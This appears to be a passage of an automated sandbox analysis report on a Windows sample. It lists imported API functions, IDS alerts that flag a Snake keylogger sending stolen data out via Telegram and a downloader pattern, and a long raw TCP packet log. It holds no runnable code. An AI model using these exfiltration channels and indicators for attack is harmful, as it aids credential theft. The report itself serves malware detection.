KERNEL32.dll	CompareFileTime, SearchPathW, SetFileTime, CloseHandle, GetShortPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, GetFullPathNameW, CreateDirectoryW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, SetFileAttributesW, ExpandEnvironmentStringsW, SetErrorMode, LoadLibraryW, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, lstrcpyA, lstrcpyW, lstrcatW, GetSystemDirectoryW, GetVersion, GetProcAddress, LoadLibraryA, GetModuleHandleA, GetModuleHandleW, lstrcmpiW, lstrcmpW, WaitForSingleObject, GlobalFree, GlobalAlloc, LoadLibraryExW, GetExitCodeProcess, FreeLibrary, WritePrivateProfileStringW, GetCommandLineW, GetTempPathW, GetPrivateProfileStringW, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, WriteFile, lstrlenA, WideCharToMultiByte
USER32.dll	EndDialog, ScreenToClient, GetWindowRect, RegisterClassW, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, wsprintfW, CreateWindowExW, SystemParametersInfoW, AppendMenuW, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, GetDC, SetWindowLongW, LoadImageW, SendMessageTimeoutW, FindWindowExW, EmptyClipboard, OpenClipboard, TrackPopupMenu, EndPaint, ShowWindow, GetDlgItem, IsWindow, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegCloseKey, RegOpenKeyExW, RegDeleteKeyW, RegDeleteValueW, RegEnumValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-03T15:20:11.187457+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49841	172.217.19.174	443	TCP
2024-12-03T15:20:26.610765+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49862	132.226.247.73	80	TCP
2024-12-03T15:20:34.829536+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49862	132.226.247.73	80	TCP
2024-12-03T15:20:36.970827+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49903	149.154.167.220	443	TCP
2024-12-03T15:20:38.657701+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49909	132.226.247.73	80	TCP
2024-12-03T15:20:40.631481+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49913	149.154.167.220	443	TCP
2024-12-03T15:20:43.220296+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49919	132.226.247.73	80	TCP
2024-12-03T15:20:45.275440+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49926	149.154.167.220	443	TCP
2024-12-03T15:20:48.795846+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49935	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 15:20:08.454485893 CET	49841	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:20:08.454507113 CET	443	49841	172.217.19.174	192.168.2.7
Dec 3, 2024 15:20:08.454580069 CET	49841	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:20:08.466970921 CET	49841	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:20:08.466984987 CET	443	49841	172.217.19.174	192.168.2.7
Dec 3, 2024 15:20:10.258627892 CET	443	49841	172.217.19.174	192.168.2.7
Dec 3, 2024 15:20:10.258781910 CET	49841	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:20:10.259515047 CET	443	49841	172.217.19.174	192.168.2.7
Dec 3, 2024 15:20:10.259602070 CET	49841	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:20:10.345861912 CET	49841	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:20:10.345892906 CET	443	49841	172.217.19.174	192.168.2.7
Dec 3, 2024 15:20:10.346281052 CET	443	49841	172.217.19.174	192.168.2.7
Dec 3, 2024 15:20:10.348213911 CET	49841	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:20:10.352227926 CET	49841	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:20:10.399327993 CET	443	49841	172.217.19.174	192.168.2.7
Dec 3, 2024 15:20:11.187448025 CET	443	49841	172.217.19.174	192.168.2.7
Dec 3, 2024 15:20:11.187581062 CET	49841	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:20:11.187602997 CET	443	49841	172.217.19.174	192.168.2.7
Dec 3, 2024 15:20:11.187650919 CET	49841	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:20:11.187911034 CET	49841	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:20:11.187947035 CET	443	49841	172.217.19.174	192.168.2.7
Dec 3, 2024 15:20:11.187998056 CET	49841	443	192.168.2.7	172.217.19.174
Dec 3, 2024 15:20:11.342762947 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:11.342813969 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:11.342976093 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:11.343244076 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:11.343256950 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:13.044450045 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:13.044538975 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:13.048747063 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:13.048757076 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:13.049067020 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:13.049122095 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:13.056226015 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:13.103329897 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:15.793368101 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:15.793507099 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:15.806154013 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:15.806277990 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:15.913569927 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:15.913695097 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:15.913712025 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:15.913758039 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:15.917422056 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:15.917511940 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:15.985066891 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:15.985188961 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:15.987289906 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:15.987337112 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:15.995471001 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:15.995547056 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:15.996421099 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:15.996618986 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.004441977 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.004523039 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.005791903 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.005851030 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.014734983 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.014837027 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.015372992 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.015440941 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.023602009 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.023660898 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.028273106 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.028351068 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.032397985 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.032458067 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.041783094 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.041851044 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.045248985 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.045308113 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.055201054 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.055247068 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.058274031 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.058346987 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.068911076 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.068968058 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.072041035 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.072089911 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.083297968 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.083359957 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.086692095 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.086747885 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.096215010 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.096287966 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.105180025 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.105251074 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.116189003 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.116245985 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.116293907 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.116338015 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.123539925 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.123606920 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.145397902 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.145462036 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.145534992 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.145580053 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.176351070 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.176469088 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.176485062 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.176536083 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.178570986 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.178628922 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.183356047 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.183408976 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.183588028 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.183629990 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.186542988 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.186625004 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.186660051 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.186709881 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.198472023 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.198529959 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.198635101 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.198678017 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.198688030 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.198730946 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.209045887 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.209105015 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.209289074 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.209333897 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.219990969 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.220163107 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.220181942 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.220222950 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.229932070 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.230030060 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.230093956 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.230165005 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.240149021 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.240221977 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.240328074 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.240372896 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.250508070 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.250574112 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.250659943 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.250705957 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.260258913 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.260344028 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.260375023 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.260413885 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.270427942 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.270493984 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.270649910 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.270690918 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.280601025 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.280781031 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.281192064 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.281244040 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.290050983 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.290101051 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.290236950 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.290282011 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.299141884 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.299206972 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.299401999 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.299446106 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.309334993 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.309407949 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.309417963 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.309463024 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.317121029 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.317229986 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.317238092 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.317285061 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.317972898 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.318026066 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.318077087 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.318113089 CET	443	49850	142.250.181.1	192.168.2.7
Dec 3, 2024 15:20:16.318161964 CET	49850	443	192.168.2.7	142.250.181.1
Dec 3, 2024 15:20:16.939457893 CET	49862	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:17.063390970 CET	80	49862	132.226.247.73	192.168.2.7
Dec 3, 2024 15:20:17.063541889 CET	49862	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:17.064028025 CET	49862	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:17.184056044 CET	80	49862	132.226.247.73	192.168.2.7
Dec 3, 2024 15:20:24.118107080 CET	80	49862	132.226.247.73	192.168.2.7
Dec 3, 2024 15:20:24.122697115 CET	49862	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:24.243370056 CET	80	49862	132.226.247.73	192.168.2.7
Dec 3, 2024 15:20:26.556296110 CET	80	49862	132.226.247.73	192.168.2.7
Dec 3, 2024 15:20:26.610764980 CET	49862	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:27.016796112 CET	49886	443	192.168.2.7	104.21.67.152
Dec 3, 2024 15:20:27.016849995 CET	443	49886	104.21.67.152	192.168.2.7
Dec 3, 2024 15:20:27.017010927 CET	49886	443	192.168.2.7	104.21.67.152
Dec 3, 2024 15:20:27.019627094 CET	49886	443	192.168.2.7	104.21.67.152
Dec 3, 2024 15:20:27.019642115 CET	443	49886	104.21.67.152	192.168.2.7
Dec 3, 2024 15:20:28.282742977 CET	443	49886	104.21.67.152	192.168.2.7
Dec 3, 2024 15:20:28.282818079 CET	49886	443	192.168.2.7	104.21.67.152
Dec 3, 2024 15:20:28.311359882 CET	49886	443	192.168.2.7	104.21.67.152
Dec 3, 2024 15:20:28.311392069 CET	443	49886	104.21.67.152	192.168.2.7
Dec 3, 2024 15:20:28.311865091 CET	443	49886	104.21.67.152	192.168.2.7
Dec 3, 2024 15:20:28.349675894 CET	49886	443	192.168.2.7	104.21.67.152
Dec 3, 2024 15:20:28.395339966 CET	443	49886	104.21.67.152	192.168.2.7
Dec 3, 2024 15:20:28.751121998 CET	443	49886	104.21.67.152	192.168.2.7
Dec 3, 2024 15:20:28.751182079 CET	443	49886	104.21.67.152	192.168.2.7
Dec 3, 2024 15:20:28.751220942 CET	49886	443	192.168.2.7	104.21.67.152
Dec 3, 2024 15:20:28.757916927 CET	49886	443	192.168.2.7	104.21.67.152
Dec 3, 2024 15:20:34.342398882 CET	49862	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:34.462685108 CET	80	49862	132.226.247.73	192.168.2.7
Dec 3, 2024 15:20:34.775563002 CET	80	49862	132.226.247.73	192.168.2.7
Dec 3, 2024 15:20:34.829535961 CET	49862	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:34.918885946 CET	49903	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:34.918942928 CET	443	49903	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:34.919023991 CET	49903	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:34.919565916 CET	49903	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:34.919576883 CET	443	49903	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:36.349878073 CET	443	49903	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:36.350012064 CET	49903	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:36.351985931 CET	49903	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:36.352008104 CET	443	49903	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:36.352258921 CET	443	49903	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:36.353740931 CET	49903	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:36.399343967 CET	443	49903	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:36.399590015 CET	49903	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:36.399610996 CET	443	49903	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:36.970879078 CET	443	49903	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:36.970971107 CET	443	49903	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:36.971143961 CET	49903	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:36.975738049 CET	49903	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:37.127192974 CET	49862	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:37.128339052 CET	49909	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:37.248030901 CET	80	49862	132.226.247.73	192.168.2.7
Dec 3, 2024 15:20:37.248126030 CET	49862	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:37.248703003 CET	80	49909	132.226.247.73	192.168.2.7
Dec 3, 2024 15:20:37.248892069 CET	49909	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:37.248975992 CET	49909	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:37.370374918 CET	80	49909	132.226.247.73	192.168.2.7
Dec 3, 2024 15:20:38.604399920 CET	80	49909	132.226.247.73	192.168.2.7
Dec 3, 2024 15:20:38.605995893 CET	49913	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:38.606038094 CET	443	49913	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:38.606112957 CET	49913	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:38.606797934 CET	49913	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:38.606812000 CET	443	49913	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:38.657701015 CET	49909	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:40.013942957 CET	443	49913	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:40.015677929 CET	49913	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:40.015698910 CET	443	49913	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:40.015758038 CET	49913	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:40.015767097 CET	443	49913	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:40.631561995 CET	443	49913	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:40.631644964 CET	443	49913	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:40.631719112 CET	49913	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:40.632333994 CET	49913	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:40.636028051 CET	49909	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:40.637398958 CET	49919	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:40.756484032 CET	80	49909	132.226.247.73	192.168.2.7
Dec 3, 2024 15:20:40.756606102 CET	49909	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:40.757989883 CET	80	49919	132.226.247.73	192.168.2.7
Dec 3, 2024 15:20:40.758080006 CET	49919	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:40.758305073 CET	49919	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:40.878261089 CET	80	49919	132.226.247.73	192.168.2.7
Dec 3, 2024 15:20:43.170118093 CET	80	49919	132.226.247.73	192.168.2.7
Dec 3, 2024 15:20:43.171426058 CET	49926	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:43.171456099 CET	443	49926	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:43.171514034 CET	49926	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:43.171797991 CET	49926	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:43.171807051 CET	443	49926	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:43.220295906 CET	49919	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:44.581855059 CET	443	49926	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:44.583678961 CET	49926	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:44.583709002 CET	443	49926	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:44.583782911 CET	49926	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:44.583792925 CET	443	49926	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:45.275460005 CET	443	49926	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:45.275594950 CET	443	49926	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:45.275644064 CET	49926	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:45.276063919 CET	49926	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:45.311460018 CET	49931	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:45.431442976 CET	80	49931	132.226.247.73	192.168.2.7
Dec 3, 2024 15:20:45.431642056 CET	49931	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:45.431863070 CET	49931	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:45.551961899 CET	80	49931	132.226.247.73	192.168.2.7
Dec 3, 2024 15:20:46.783482075 CET	80	49931	132.226.247.73	192.168.2.7
Dec 3, 2024 15:20:46.785463095 CET	49935	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:46.785509109 CET	443	49935	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:46.785594940 CET	49935	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:46.785860062 CET	49935	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:46.785872936 CET	443	49935	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:46.829576969 CET	49931	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:20:48.198936939 CET	443	49935	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:48.201019049 CET	49935	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:48.201067924 CET	443	49935	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:48.201133966 CET	49935	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:20:48.201145887 CET	443	49935	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:48.795911074 CET	443	49935	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:48.795999050 CET	443	49935	149.154.167.220	192.168.2.7
Dec 3, 2024 15:20:48.796046972 CET	49935	443	192.168.2.7	149.154.167.220
